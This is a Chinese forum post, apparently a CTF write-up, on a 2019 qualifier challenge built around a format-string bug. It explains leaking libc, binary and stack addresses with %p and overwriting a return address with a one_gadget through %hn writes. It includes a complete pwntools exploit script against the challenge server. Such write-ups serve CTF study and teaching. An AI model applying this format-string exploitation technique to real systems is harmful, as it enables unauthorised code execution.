首页
社区
课程
招聘
[原创]CTF2019晋级赛Q2第三题分析(qwertyaa)
2019-6-14 13:35 2493

[原创]CTF2019晋级赛Q2第三题分析(qwertyaa)

2019-6-14 13:35
2493

本题是典型的 FmtStr 漏洞题,通过查看 checksec 可以看到保护全开。比较特殊的是这个程序是个Shared Object文件而非可执行文件,不过使用 socat tcp-listen:10002,fork exec:./format 可以在本地运行,不影响接下来的分析。

 

首先我们通过 gdb 调试,使用 x/100x $sp-0x50 在 stack 附近找找, 可以发现一些地址上的指针可以用来泄露 libc 与 ELF 文件的基地址与 stack 地址。

libc.address=int(prt('%12$p'),16)-0x1b000-0x195000
exe.address=int(prt('%3$p'),16)-0x8f3
stack=int(prt('%5$p'),16)
refstack=0xffeb2964
stack-=refstack

接下来在 stack 内找到一个指向 stack 内一个指向 stack 内部的指针的指针,通过 %**c%**$hn 将借用这个指针将这个指针指向的指针改为指向 main 函数结束后提供返回到的 libc 地址的指针的地址,然后借用这个指针指向的指针将返回到的地址改为 libc 库内的一处要求 EAX==0(恰好 main 函数返回值为 0)的 one_gadget(+0x5f065),然后退出循环即可。

 

EXP如下:

from pwn import *
p=remote('152.136.18.34','9999')
def prt(content):
    p.sendlineafter('Choice:','1')
    p.sendlineafter('What do tou want to say:',content)
    return p.recvline()

libc=ELF('./libc-2.23.so')
exe=ELF('./format')
libc.address=int(prt('%12$p'),16)-0x1b000-0x195000
exe.address=int(prt('%3$p'),16)-0x8f3
print 'libc:'+hex(libc.address)
print 'exe: '+hex(exe.address)
stack=int(prt('%5$p'),16)
print stack
refstack=0xffeb2964
stack-=refstack
one_gadget=libc.address+0x5f065
prt('%'+str(((0xffeb28cc)+stack)&0xffff)+'c%5$hn')
print prt('%53$p')
prt('%'+str((one_gadget)&0xffff)+'c%53$hn')
prt('%'+str(((0xffeb28ce)+stack)&0xffff)+'c%5$hn')
prt('%'+str((one_gadget)>>16)+'c%53$hn')
p.sendlineafter('Choice:','2')
p.interactive()

[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

收藏
点赞1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回